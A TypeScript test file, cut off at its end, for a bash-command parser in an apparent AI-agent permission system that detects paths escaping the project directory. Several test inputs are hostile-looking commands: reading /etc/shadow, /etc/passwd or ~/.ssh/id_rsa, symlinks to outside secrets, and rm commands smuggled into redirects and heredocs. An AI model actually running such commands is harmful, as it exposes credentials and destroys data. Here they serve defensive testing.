import { homedir } from "node:os";
import { join } from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";

// Mock node:fs so realpathSync (used by canonicalizePath) is controllable.
// Default is identity so all existing lexical tests are unaffected.
// Every other fs binding passes through to the real module, so filesystem-
// backed helpers (lstatSync, mkdtempSync, symlinkSync, …) stay usable here.
const realpathSync = vi.hoisted(() =>
  vi.fn<(path: string) => string>((p) => p),
);
vi.mock("node:fs", async () => {
  const actual = await vi.importActual<typeof import("node:fs")>("node:fs");
  return {
    ...actual,
    realpathSync,
    default: { ...actual, realpathSync },
  };
});

import { BashProgram } from "#src/access-intent/bash/program";
import { pathFlavorForPlatform, win32PathFlavor } from "#src/path/path-flavor";
import { PathNormalizer } from "#src/path-normalizer";
import { createTmpFixture } from "#test/helpers/tmp-fixture";

describe("BashProgram", () => {
  describe("pathRuleCandidates", () => {
    const cwd = "/projects/my-app";
    const normalizer = new PathNormalizer(
      pathFlavorForPlatform(process.platform),
      cwd,
    );

    beforeEach(() => {
      realpathSync.mockReset();
      realpathSync.mockImplementation((p: string) => p);
    });

    describe("operands of nested commands hosted in a redirect (#741)", () => {
      it("projects the operand of a redirect-hosted command", async () => {
        const program = await BashProgram.parse(
          "echo hi > $(cat /etc/shadow)",
          normalizer,
        );
        expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
          "/etc/shadow",
        ]);
      });

      it("does not promote a bare inner token that names nothing", async () => {
        const program = await BashProgram.parse(
          "echo hi > $(rm nonexistent-file)",
          normalizer,
        );
        expect(program.pathRuleCandidates()).toEqual([]);
      });
    });

    it("adds absolute and relative policy values for relative tokens", async () => {
      const program = await BashProgram.parse("cat src/foo.ts", normalizer);
      const candidates = program.pathRuleCandidates();
      expect(candidates.map(({ token }) => token)).toEqual(["src/foo.ts"]);
      expect(candidates[0].path.matchValues()).toEqual([
        "/projects/my-app/src/foo.ts",
        "src/foo.ts",
      ]);
      expect(candidates[0].path.value()).toBe("/projects/my-app/src/foo.ts");
    });

    it("resolves tokens after literal cd against the effective directory", async () => {
      const program = await BashProgram.parse(
        "cd nested && cat src/file.txt",
        normalizer,
      );
      const fileCandidate = program
        .pathRuleCandidates()
        .find((candidate) => candidate.token === "src/file.txt");
      expect(fileCandidate?.path.matchValues()).toEqual([
        "/projects/my-app/nested/src/file.txt",
        "nested/src/file.txt",
        "src/file.txt",
      ]);
      expect(fileCandidate?.path.value()).toBe(
        "/projects/my-app/nested/src/file.txt",
      );
    });

    it("adds the canonical alias for a symlinked token (#486)", async () => {
      // /projects/my-app/src/foo.ts is a symlink to /vault/foo.ts.
      realpathSync.mockImplementation((p: string) =>
        p === "/projects/my-app/src/foo.ts" ? "/vault/foo.ts" : p,
      );
      const program = await BashProgram.parse("cat src/foo.ts", normalizer);
      const candidate = program.pathRuleCandidates()[0];
      expect(candidate.path.matchValues()).toEqual([
        "/projects/my-app/src/foo.ts",
        "src/foo.ts",
        "/vault/foo.ts",
      ]);
    });

    it("does not absolute-allow relative tokens after unknown cd", async () => {
      const program = await BashProgram.parse(
        'cd "$DIR" && cat src/foo.ts',
        normalizer,
      );
      const fileCandidate = program
        .pathRuleCandidates()
        .find((candidate) => candidate.token === "src/foo.ts");
      expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
      expect(fileCandidate?.path.value()).toBe("src/foo.ts");
    });

    it("keeps an unknown-cd token literal-only even when it would resolve a symlink (#393)", async () => {
      // A canonical alias here would resolve against the wrong (unknown) base.
      realpathSync.mockImplementation(() => "/somewhere/else");
      const program = await BashProgram.parse(
        'cd "$DIR" && cat src/foo.ts',
        normalizer,
      );
      const fileCandidate = program
        .pathRuleCandidates()
        .find((candidate) => candidate.token === "src/foo.ts");
      expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
      expect(fileCandidate?.path.boundaryValue()).toBe("");
    });

    describe("existence-probe bare-token promotion (#645)", () => {
      // Candidacy comes from the filesystem, so these run against a real
      // tmpdir cwd with real lstat/realpath rather than the fake cwd above.
      const tmp = createTmpFixture();
      let root: string;
      let probeNormalizer: PathNormalizer;

      beforeEach(async () => {
        const actual =
          await vi.importActual<typeof import("node:fs")>("node:fs");
        realpathSync.mockImplementation(actual.realpathSync);
        // Canonicalize the root: on macOS the tmpdir is itself a symlink, so a
        // lexical root would disagree with every canonical form derived below.
        root = actual.realpathSync(tmp.dir("pi-perm-bash-"));
        probeNormalizer = new PathNormalizer(
          pathFlavorForPlatform(process.platform),
          root,
        );
      });

      afterEach(() => {
        tmp.cleanup();
      });

      it("promotes a bare token naming an existing file", async () => {
        tmp.file(root, "id_rsa", "key");
        const program = await BashProgram.parse("cat id_rsa", probeNormalizer);
        const candidates = program.pathRuleCandidates();
        expect(candidates.map(({ token }) => token)).toEqual(["id_rsa"]);
        expect(candidates[0].path.matchValues()).toEqual([
          join(root, "id_rsa"),
          "id_rsa",
        ]);
      });

      it("drops a bare token naming nothing — `git status` stays silent (#509)", async () => {
        const program = await BashProgram.parse("git status", probeNormalizer);
        expect(program.pathRuleCandidates()).toHaveLength(0);
      });

      it("drops every bare word of a command referencing no real file", async () => {
        const program = await BashProgram.parse(
          "npm run build && git checkout main",
          probeNormalizer,
        );
        expect(program.pathRuleCandidates()).toHaveLength(0);
      });

      it("promotes a bare symlink and carries its target as a match value", async () => {
        // The issue's second repro shape: a_sym -> .some.secret, where the rule
        // names the target. Raw-token matching could never see this.
        const secret = tmp.file(root, ".some.secret", "s3cret");
        tmp.symlink(root, "a_sym", secret);
        const program = await BashProgram.parse("cat a_sym", probeNormalizer);
        const candidate = program
          .pathRuleCandidates()
          .find((c) => c.token === "a_sym");
        expect(candidate?.path.matchValues()).toContain(
          join(root, ".some.secret"),
        );
      });

      it("promotes a bare token naming a directory", async () => {
        tmp.subdir(root, "vault");
        const program = await BashProgram.parse("ls vault", probeNormalizer);
        expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
          "vault",
        ]);
      });

      it("promotes a dangling symlink — the link is the named operand", async () => {
        tmp.symlink(root, "dangling", join(root, "gone"));
        const program = await BashProgram.parse(
          "cat dangling",
          probeNormalizer,
        );
        expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
          "dangling",
        ]);
      });

      it("keeps a promoted token literal-only after an unknown cd (#393)", async () => {
        tmp.file(root, "id_rsa", "key");
        const program = await BashProgram.parse(
          'cd "$DIR" && cat id_rsa',
          probeNormalizer,
        );
        // An unknown base cannot be probed against a known directory, so the
        // token stays unpromoted rather than resolving against the wrong cwd.
        expect(program.pathRuleCandidates()).toHaveLength(0);
      });

      it("does not double-promote a token the shape gate already accepts", async () => {
        tmp.file(root, "id_rsa", "key");
        const program = await BashProgram.parse(
          "cat ./id_rsa",
          probeNormalizer,
        );
        expect(program.pathRuleCandidates()).toHaveLength(1);
      });

      it("probes a bare token against the effective directory after a literal cd", async () => {
        const nested = tmp.subdir(root, "nested");
        tmp.file(nested, "inner.txt", "x");
        const program = await BashProgram.parse(
          "cd nested && cat inner.txt",
          probeNormalizer,
        );
        const candidate = program
          .pathRuleCandidates()
          .find((c) => c.token === "inner.txt");
        expect(candidate?.path.matchValues()).toContain(
          join(root, "nested", "inner.txt"),
        );
      });

      it("consults no policy — promotion needs no matcher argument", async () => {
        tmp.file(root, "id_rsa", "key");
        const program = await BashProgram.parse("cat id_rsa", probeNormalizer);
        expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
          "id_rsa",
        ]);
      });
    });

    describe("resolved shell expansions (#694)", () => {
      it("resolves ${HOME}/… instead of fabricating a cwd-relative path", async () => {
        const program = await BashProgram.parse(
          'ls "${HOME}/somewhere"',
          normalizer,
        );
        expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
          join(homedir(), "somewhere"),
        ]);
      });

      it("keeps a $PWD token literal-only after a non-literal cd", async () => {
        // `$PWD` becomes the base-relative `.`, so it inherits the #393
        // unknown-base treatment rather than resolving against the wrong
        // directory — and never fabricates `<cwd>/$PWD/x`.
        const program = await BashProgram.parse(
          'cd "$DIR" && ls "$PWD/x"',
          normalizer,
        );
        const candidate = program
          .pathRuleCandidates()
          .find(({ token }) => token === "./x");
        expect(candidate?.path.matchValues()).toEqual(["./x"]);
        expect(candidate?.path.boundaryValue()).toBe("");
      });

      it("leaves a variable outside the resolvable set unresolved", async () => {
        const program = await BashProgram.parse('ls "$CONFIG/x"', normalizer);
        expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
          "$CONFIG/x",
        ]);
      });
    });
  });

  describe("externalPaths", () => {
    const cwd = "/projects/my-app";
    const normalizer = new PathNormalizer(
      pathFlavorForPlatform(process.platform),
      cwd,
    );

    beforeEach(() => {
      realpathSync.mockReset();
      realpathSync.mockImplementation((p: string) => p);
    });

    it("returns absolute paths resolving outside cwd", async () => {
      const program = await BashProgram.parse("cat /etc/hosts", normalizer);
      // Subset matcher: the path is normalized before comparison.
      expect(program.externalPaths().map((p) => p.value())).toContain(
        "/etc/hosts",
      );
    });

    describe("operands of nested commands hosted in a redirect (#741)", () => {
      it.each([
        ["a redirect destination", "echo hi > $(cat /etc/shadow)"],
        ["an appending destination", "echo hi >> $(cat /etc/shadow)"],
        ["an input process substitution", "cat < <(cat /etc/shadow)"],
        ["a concatenated destination", "echo hi > ${DIR}/$(cat /etc/shadow)"],
      ])("projects an operand hosted in %s", async (_label, command) => {
        const program = await BashProgram.parse(command, normalizer);
        expect(program.externalPaths().map((p) => p.value())).toContain(
          "/etc/shadow",
        );
      });

      it("still projects a plain redirect destination", async () => {
        const program = await BashProgram.parse(
          "echo hi > /etc/passwd",
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toContain(
          "/etc/passwd",
        );
      });
    });

    describe("bare tokens escaping the tree via symlink (#645)", () => {
      const tmp = createTmpFixture();
      let root: string;
      let probeNormalizer: PathNormalizer;
      // Canonical temp dir: on macOS the tmpdir is itself a symlink, so a
      // lexical path would disagree with every canonical form under assertion.
      let canonicalDir: (prefix: string) => string;

      beforeEach(async () => {
        const actual =
          await vi.importActual<typeof import("node:fs")>("node:fs");
        realpathSync.mockImplementation(actual.realpathSync);
        canonicalDir = (prefix) => actual.realpathSync(tmp.dir(prefix));
        root = canonicalDir("pi-perm-ext-cwd-");
        probeNormalizer = new PathNormalizer(
          pathFlavorForPlatform(process.platform),
          root,
        );
      });

      afterEach(() => {
        tmp.cleanup();
      });

      it("flags an in-project bare symlink whose target is outside cwd", async () => {
        // The issue's headline repro:
        //   printf 'test' > /tmp/pi-permission-test-secret
        //   ln -s /tmp/pi-permission-test-secret outside-link
        //   cat outside-link
        const outsideRoot = canonicalDir("pi-perm-ext-target-");
        const secret = tmp.file(outsideRoot, "pi-permission-test-secret", "s");
        tmp.symlink(root, "outside-link", secret);

        const program = await BashProgram.parse(
          "cat outside-link",
          probeNormalizer,
        );
        expect(program.externalPaths().map((p) => p.boundaryValue())).toContain(
          secret,
        );
      });

      it("does not flag a bare token resolving inside cwd", async () => {
        tmp.file(root, "inside.txt", "x");
        const program = await BashProgram.parse(
          "cat inside.txt",
          probeNormalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("does not flag a bare word naming nothing", async () => {
        const program = await BashProgram.parse("git status", probeNormalizer);
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("flags a bare symlink to an outside directory", async () => {
        const outsideRoot = canonicalDir("pi-perm-ext-dir-");
        tmp.symlink(root, "vault", outsideRoot);
        const program = await BashProgram.parse("ls vault", probeNormalizer);
        expect(program.externalPaths().map((p) => p.boundaryValue())).toContain(
          outsideRoot,
        );
      });
    });

    it("flags a path embedded in a long option (#645)", async () => {
      // The issue's second repro: `grep --file=…` under an allowing `grep *`
      // rule. The flag token is rejected by the shape prelude, so the value is
      // split out at collection and classified on its own.
      const program = await BashProgram.parse(
        "grep --file=/tmp/pi-permission-patterns target",
        normalizer,
      );
      expect(program.externalPaths().map((p) => p.value())).toContain(
        "/tmp/pi-permission-patterns",
      );
    });

    it("excludes paths within cwd", async () => {
      const program = await BashProgram.parse("cat src/index.ts", normalizer);
      expect(program.externalPaths()).toHaveLength(0);
    });

    describe("win32 projection (injected platform, no vi.mock node:path)", () => {
      const winNormalizer = new PathNormalizer(
        win32PathFlavor,
        "C:\\Projects\\App",
      );

      it("expands $HOME before any platform-specific token handling", async () => {
        // Expansion happens at collection, upstream of the flavor, so the
        // token the projection carries is the expanded path on every host.
        const program = await BashProgram.parse('ls "$HOME/x"', winNormalizer);
        expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
          `${homedir()}/x`,
        ]);
      });

      it("keeps a non-mount POSIX absolute literal (Git Bash semantics)", async () => {
        // On win32, Pi core runs Git Bash: /etc is an MSYS install-root path,
        // not C:\etc, so it is matched and displayed as typed (#533).
        const program = await BashProgram.parse(
          "cat /etc/hosts",
          winNormalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toEqual([
          "/etc/hosts",
        ]);
      });

      it("keeps a non-mount POSIX absolute as a literal rule candidate", async () => {
        const program = await BashProgram.parse("cat /tmp/foo", winNormalizer);
        const candidate = program.pathRuleCandidates()[0];
        expect(candidate.path.matchValues()).toEqual(["/tmp/foo"]);
      });

      it("folds a drive-mount cd so a following traversal resolves under it", async () => {
        // cd /c/Other → base C:\Other; ../x resolves to C:\x (not C:\c\x).
        // The cd argument itself is also collected and translated (c:\other).
        const program = await BashProgram.parse(
          "cd /c/Other && cat ../x",
          winNormalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toEqual([
          "c:\\other",
          "c:\\x",
        ]);
      });

      it("degrades a non-mount POSIX absolute cd to a conservative unknown base", async () => {
        // Git Bash's /tmp is install-dependent, so `cd /tmp` makes the base
        // unresolvable; a following traversal is flagged conservatively against
        // cwd for display, and /tmp itself is a literal external path (#533).
        const program = await BashProgram.parse(
          "cd /tmp && cat ../x",
          winNormalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toEqual([
          "/tmp",
          "c:\\projects\\x",
        ]);
      });

      it("flags a ..-traversal escaping cwd under win32 rules", async () => {
        const program = await BashProgram.parse(
          "cat ../sibling/x",
          winNormalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toEqual([
          "c:\\projects\\sibling\\x",
        ]);
      });

      it("folds a current-shell cd so an in-cwd ..-traversal is not flagged", async () => {
        const program = await BashProgram.parse(
          "cd sub && cat ../x",
          winNormalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("recognizes a backslash-relative token as a path rule candidate (#520)", async () => {
        const program = await BashProgram.parse("cat dir\\file", winNormalizer);
        const candidate = program.pathRuleCandidates()[0];
        expect(candidate.token).toBe("dir\\file");
      });

      it("resolves a backslash-relative token to the same win32 aliases its forward-slash equivalent matches (#520)", async () => {
        const backslashProgram = await BashProgram.parse(
          "cat dir\\file",
          winNormalizer,
        );
        const forwardSlashProgram = await BashProgram.parse(
          "cat dir/file",
          winNormalizer,
        );
        const backslashAliases = backslashProgram
          .pathRuleCandidates()[0]
          .path.matchValues();
        // The backslash token resolves to the canonical win32 path plus its
        // win32-normalized relative alias.
        expect(backslashAliases).toEqual([
          "c:\\projects\\app\\dir\\file",
          "dir\\file",
        ]);
        // The forward-slash equivalent carries the same aliases plus a redundant
        // raw "dir/file" that folds to "dir\file" under win32 separator folding,
        // so every path rule matches both forms identically (#520).
        const forwardSlashAliases = forwardSlashProgram
          .pathRuleCandidates()[0]
          .path.matchValues();
        for (const alias of backslashAliases) {
          expect(forwardSlashAliases).toContain(alias);
        }
      });
    });

    describe("posix backslash-relative tokens stay bare (#520)", () => {
      it("does not treat a backslash-relative token as a path rule candidate on posix", async () => {
        const program = await BashProgram.parse("cat dir\\file", normalizer);
        expect(program.pathRuleCandidates()).toHaveLength(0);
      });
    });

    describe("resolved shell expansions (#694)", () => {
      it("flags $HOME/… whose target does not exist", async () => {
        // The token expands to an absolute path before classification, so the
        // strict gate accepts it by shape — no longer dependent on the #645
        // existence probe rescuing it.
        const program = await BashProgram.parse(
          'touch "$HOME/pi-permission-system-repro-new"',
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toEqual([
          join(homedir(), "pi-permission-system-repro-new"),
        ]);
      });

      it("flags a bare ${HOME}", async () => {
        const program = await BashProgram.parse('ls "${HOME}"', normalizer);
        expect(program.externalPaths().map((p) => p.value())).toEqual([
          homedir(),
        ]);
      });

      it("flags ${HOME}/…", async () => {
        const program = await BashProgram.parse(
          'ls "${HOME}/somewhere"',
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toEqual([
          join(homedir(), "somewhere"),
        ]);
      });

      it("flags a $HOME redirect destination", async () => {
        const program = await BashProgram.parse(
          "echo hi > $HOME/out.txt",
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toEqual([
          join(homedir(), "out.txt"),
        ]);
      });

      it("yields exactly one entry for an existing $HOME target", async () => {
        // Previously the existence probe promoted this token; now the strict
        // shape gate accepts it. It must not be collected through both.
        const program = await BashProgram.parse('ls "$HOME"', normalizer);
        expect(program.externalPaths().map((p) => p.value())).toEqual([
          homedir(),
        ]);
      });

      it("gives $HOME/… and its literal spelling the same projection", async () => {
        const expanded = await BashProgram.parse(
          `ls "${join(homedir(), "docs")}"`,
          normalizer,
        );
        const spelled = await BashProgram.parse('ls "$HOME/docs"', normalizer);
        expect(spelled.externalPaths().map((p) => p.value())).toEqual(
          expanded.externalPaths().map((p) => p.value()),
        );
      });

      it("resolves $HOME/… independently of an unknown effective base", async () => {
        const program = await BashProgram.parse(
          'cd "$DIR" && cat "$HOME/.ssh/id_rsa"',
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toEqual([
          join(homedir(), ".ssh/id_rsa"),
        ]);
      });

      it("resolves $PWD against the cd-folded base", async () => {
        // `/etc` is flagged by the `cd` argument token itself, as it is for any
        // absolute `cd` target; `$PWD/passwd` contributes the second entry.
        const program = await BashProgram.parse(
          'cd /etc && ls "$PWD/passwd"',
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toEqual([
          "/etc",
          "/etc/passwd",
        ]);
      });

      it("does not flag a $PWD token that stays inside the working directory", async () => {
        const program = await BashProgram.parse('ls "$PWD/src"', normalizer);
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("does not resolve an expansion carrying an operator", async () => {
        const program = await BashProgram.parse(
          'ls "${HOME:-/tmp}/x"',
          normalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("does not resolve a variable through an assignment (accepted residual)", async () => {
        // ADR 0009 keeps assignment-then-reference an accepted residual; this
        // pins the declined behavior so a future change is a deliberate one.
        const program = await BashProgram.parse(
          'CURRENT="$HOME"; ls "$CURRENT"',
          normalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });
    });

    describe("effective working directory projection", () => {
      it("folds a sequence of current-shell cd commands", async () => {
        // cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
        const program = await BashProgram.parse(
          "cd a && cd b && cat ../c",
          normalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("catches an escape masked by a later cd that the single-base model missed", async () => {
        // Effective dir after `cd nested/deep && cd ..` is cwd/nested, so
        // ../../etc/passwd escapes to /projects/etc/passwd.
        const program = await BashProgram.parse(
          "cd nested/deep && cd .. && cat ../../etc/passwd",
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toContain(
          "/projects/etc/passwd",
        );
      });

      it("folds a cd that is not the first command", async () => {
        // The single-base model ignored a cd that was not first; now `cd a`
        // folds, so ../b resolves to cwd/b (inside) and is not flagged.
        const program = await BashProgram.parse(
          "mkdir d && cd a && cat ../b",
          normalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("does not fold a backgrounded cd", async () => {
        // `cd a &` runs in a subshell, so it must not update the running
        // directory; ../b resolves against cwd and escapes.
        const program = await BashProgram.parse("cd a & cat ../b", normalizer);
        expect(program.externalPaths().map((p) => p.value())).toContain(
          "/projects/b",
        );
      });

      it("does not fold a cd inside a pipeline", async () => {
        // Pipeline members run in subshells; the cd must not leak.
        const program = await BashProgram.parse(
          "cd nested | cat ../b",
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toContain(
          "/projects/b",
        );
      });

      it("folds a cd inside a subshell for paths within that subshell", async () => {
        // Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
        const program = await BashProgram.parse(
          "( cd sub && cat ../x )",
          normalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("does not leak a subshell cd to following commands", async () => {
        // The subshell cd resets on exit, so ../y resolves against cwd.
        const program = await BashProgram.parse(
          "( cd sub ) && cat ../y",
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toContain(
          "/projects/y",
        );
      });

      it("persists a cd inside a brace group to later commands in the group", async () => {
        // Brace groups run in the current shell, so cd sub persists to cat ../x.
        const program = await BashProgram.parse(
          "{ cd sub; cat ../x; }",
          normalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("persists a brace-group cd to following sibling commands", async () => {
        const program = await BashProgram.parse(
          "{ cd sub; } && cat ../x",
          normalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("conservatively flags a relative path inside a command substitution", async () => {
        // Interior cd folding inside substitutions is deferred: the interior
        // inherits the enclosing base (cwd), so ../r is flagged rather than
        // resolved against cwd/q. Conservative — never misses an escape.
        const program = await BashProgram.parse(
          "echo $(cd q && cat ../r)",
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toContain(
          "/projects/r",
        );
      });

      it("flags relative paths conservatively after a non-literal cd", async () => {
        // cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
        // so it is flagged (least-privilege).
        const program = await BashProgram.parse(
          'cd "$DIR" && cat ../x',
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toContain(
          "/projects/x",
        );
      });

      it("flags even a within-cwd relative path after a non-literal cd", async () => {
        // Conservative cost: src/../within.txt resolves inside cwd but is still
        // flagged because the effective dir is unknown.
        const program = await BashProgram.parse(
          'cd "$DIR" && cat src/../within.txt',
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toContain(
          "/projects/my-app/within.txt",
        );
      });

      it("still resolves an absolute path normally after a non-literal cd", async () => {
        // Absolute paths are base-independent; one inside cwd is not flagged
        // even when the effective dir is unknown.
        const program = await BashProgram.parse(
          'cd "$DIR" && cat /projects/my-app/x.txt',
          normalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("treats `cd -` as an unknown effective directory", async () => {
        const program = await BashProgram.parse("cd - && cat ../x", normalizer);
        expect(program.externalPaths().map((p) => p.value())).toContain(
          "/projects/x",
        );
      });

      it("recovers a known base when a later cd is absolute", async () => {
        // cd "$DIR" → unknown, then cd /projects/my-app/src → known again, so
        // ../x resolves to cwd and is not flagged.
        const program = await BashProgram.parse(
          'cd "$DIR" && cd /projects/my-app/src && cat ../x',
          normalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
        // tree-sitter-bash groups `cd a && pnpm x 2>&1 | tail` as
        // `(cd a && pnpm x 2>&1) | tail`, burying the current-shell `cd a`
        // inside a `pipeline` node. Bash precedence (`|` binds tighter than
        // `&&`) makes `cd a` current-shell, so the fold must persist past the
        // pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
        const program = await BashProgram.parse(
          "cd a && pnpm x 2>&1 | tail ; cat ../b",
          normalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("persists the fold past a redirect-then-pipe to a later cd", async () => {
        // The issue reproduction: the fold from `cd a/b` survives the
        // redirect-then-pipe, so the trailing `cd .. && cd ..` lands back at
        // cwd instead of escaping one level above.
        const program = await BashProgram.parse(
          "cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
          normalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });

      it("does not fold the terminal piped command of the first stage", async () => {
        // Fail-closed: `cd b` is the terminal command of the first stage, i.e.
        // the real pipe stage (a subshell), so it must NOT fold. With the
        // correct base cwd/a, ../../x escapes to /projects/x. If `cd b` were
        // wrongly folded, the base would be cwd/a/b and ../../x would stay
        // inside — a fail-open regression this test pins.
        const program = await BashProgram.parse(
          "cd a && cd b 2>&1 | tail ; cat ../../x",
          normalizer,
        );
        expect(program.externalPaths().map((p) => p.value())).toContain(
          "/projects/x",
        );
      });

      it("resolves a downstream pipe stage against the folded base", async () => {
        // The stage after the `|` runs in a subshell that inherits the folded
        // cwd/a, so ../foo resolves inside cwd rather than escaping against the
        // pre-cd base.
        const program = await BashProgram.parse(
          "cd a && pnpm x 2>&1 | cat ../foo",
          normalizer,
        );
        expect(program.externalPaths()).toHaveLength(0);
      });
    });

    it("flags an absolute in-cwd path that resolves externally via a symlink, returning the typed form", async () => {
      // The strict classifier only processes absolute tokens, so the escape
      // surface is `cat /cwd/link/hosts` (absolute) where `link -> /etc`.
      // The boundary decision still uses the canonical form (so the path is
      // flagged), but the returned value is the typed/lexical form so config
      // patterns match the path as the user wrote it (#418).
      realpathSync.mockImplementation((p: string) => {
        if (p === "/projects/my-app/link/hosts") return "/etc/hosts";
        return p;
      });
      const program = await BashProgram.parse(
        "cat /projects/my-app/link/hosts",
        normalizer,
      );
      const external = program.externalPaths().map((p) => p.value());
      expect(external).toContain("/projects/my-app/link/hosts");
      expect(external).not.toContain("/etc/hosts");
    });

    it("does not flag a token that resolves within a symlinked cwd", async () => {
      // Simulates /tmp -> /private/tmp on macOS; cwd is the canonical form.
      const symlinkCwd = "/private/tmp";
      realpathSync.mockImplementation((p: string) => {
        if (p === "/tmp") return "/private/tmp";
        if (p.startsWith("/tmp/")) return `/private/tmp${p.slice(4)}`;
        return p;
      });
      const program = await BashProgram.parse(
        "cat /tmp/workspace/file.ts",
        new PathNormalizer(pathFlavorForPlatform(process.platform), symlinkCwd),
      );
      expect(program.externalPaths()).toHaveLength(0);
    });
  });

  describe("commands", () => {
    const cwd = "/projects/my-app";
    const normalizer = new PathNormalizer(
      pathFlavorForPlatform(process.platform),
      cwd,
    );

    it("returns a single-element list for a lone command", async () => {
      const program = await BashProgram.parse("npm install pkg", normalizer);
      expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
    });

    it("splits an && chain", async () => {
      const program = await BashProgram.parse("cd /p && npm i x", normalizer);
      expect(program.commands()).toEqual([
        { text: "cd /p" },
        { text: "npm i x" },
      ]);
    });

    it("splits || , ; and & separators", async () => {
      expect(
        (await BashProgram.parse("a || b", normalizer)).commands(),
      ).toEqual([{ text: "a" }, { text: "b" }]);
      expect((await BashProgram.parse("a ; b", normalizer)).commands()).toEqual(
        [{ text: "a" }, { text: "b" }],
      );
      expect((await BashProgram.parse("a & b", normalizer)).commands()).toEqual(
        [{ text: "a" }, { text: "b" }],
      );
    });

    it("splits a pipeline into its commands", async () => {
      const program = await BashProgram.parse("cat f | grep b", normalizer);
      expect(program.commands()).toEqual([
        { text: "cat f" },
        { text: "grep b" },
      ]);
    });

    it("splits newline-separated commands", async () => {
      const program = await BashProgram.parse("foo\nbar", normalizer);
      expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
    });

    it("does not split operators inside quotes", async () => {
      const program = await BashProgram.parse("echo 'x && y'", normalizer);
      expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
    });

    it("captures the command of a redirected statement without the redirect", async () => {
      const program = await BashProgram.parse(
        "npm install > out.txt",
        normalizer,
      );
      expect(program.commands()).toEqual([{ text: "npm install" }]);
    });

    describe("commands hosted in a redirect target (#741)", () => {
      it.each([
        ["echo hi > $(rm x)", "echo hi", "rm x"],
        ["echo hi >> $(rm b)", "echo hi", "rm b"],
        ["echo hi 2> `rm d`", "echo hi", "rm d"],
        ["echo hi &> $(rm q)", "echo hi", "rm q"],
      ])("descends into %s", async (command, enclosing, inner) => {
        const program = await BashProgram.parse(command, normalizer);
        expect(program.commands()).toEqual([
          { text: enclosing },
          { text: inner, context: "command_substitution" },
        ]);
      });

      it("descends into a process substitution read as input", async () => {
        const program = await BashProgram.parse("cat < <(rm c)", normalizer);
        expect(program.commands()).toEqual([
          { text: "cat" },
          { text: "rm c", context: "process_substitution" },
        ]);
      });

      it("descends into a substitution concatenated into the destination", async () => {
        const program = await BashProgram.parse(
          "echo hi > ${DIR}/$(rm z)",
          normalizer,
        );
        expect(program.commands()).toEqual([
          { text: "echo hi" },
          { text: "rm z", context: "command_substitution" },
        ]);
      });

      it("descends into a redirect on a chained command", async () => {
        const program = await BashProgram.parse(
          "cd /p && echo hi > $(rm x)",
          normalizer,
        );
        expect(program.commands()).toEqual([
          { text: "cd /p" },
          { text: "echo hi" },
          { text: "rm x", context: "command_substitution" },
        ]);
      });

      it("leaves a plain redirect destination unenumerated", async () => {
        const program = await BashProgram.parse(
          "echo hi > out.txt",
          normalizer,
        );
        expect(program.commands()).toEqual([{ text: "echo hi" }]);
      });
    });

    describe("commands hosted in a heredoc body (#741)", () => {
      it("descends into an interpolating heredoc body", async () => {
        const program = await BashProgram.parse(
          "cat <<EOF\n$(rm e)\nEOF",
          normalizer,
        );
        expect(program.commands()).toEqual([
          { text: "cat" },
          { text: "rm e", context: "command_substitution" },
        ]);
      });

      it.each([
        ["single-quoted", "cat <<'EOF'\n$(rm e)\nEOF"],
        ["double-quoted", 'cat <<"EOF"\n$(rm e)\nEOF'],
      ])("leaves a %s heredoc body literal, since it does not interpolate", async (_label, command) => {
        const program = await BashProgram.parse(command, normalizer);
        expect(program.commands()).toEqual([{ text: "cat" }]);
      });

      it("descends into a herestring substitution", async () => {
        const program = await BashProgram.parse("cat <<< $(rm x)", normalizer);
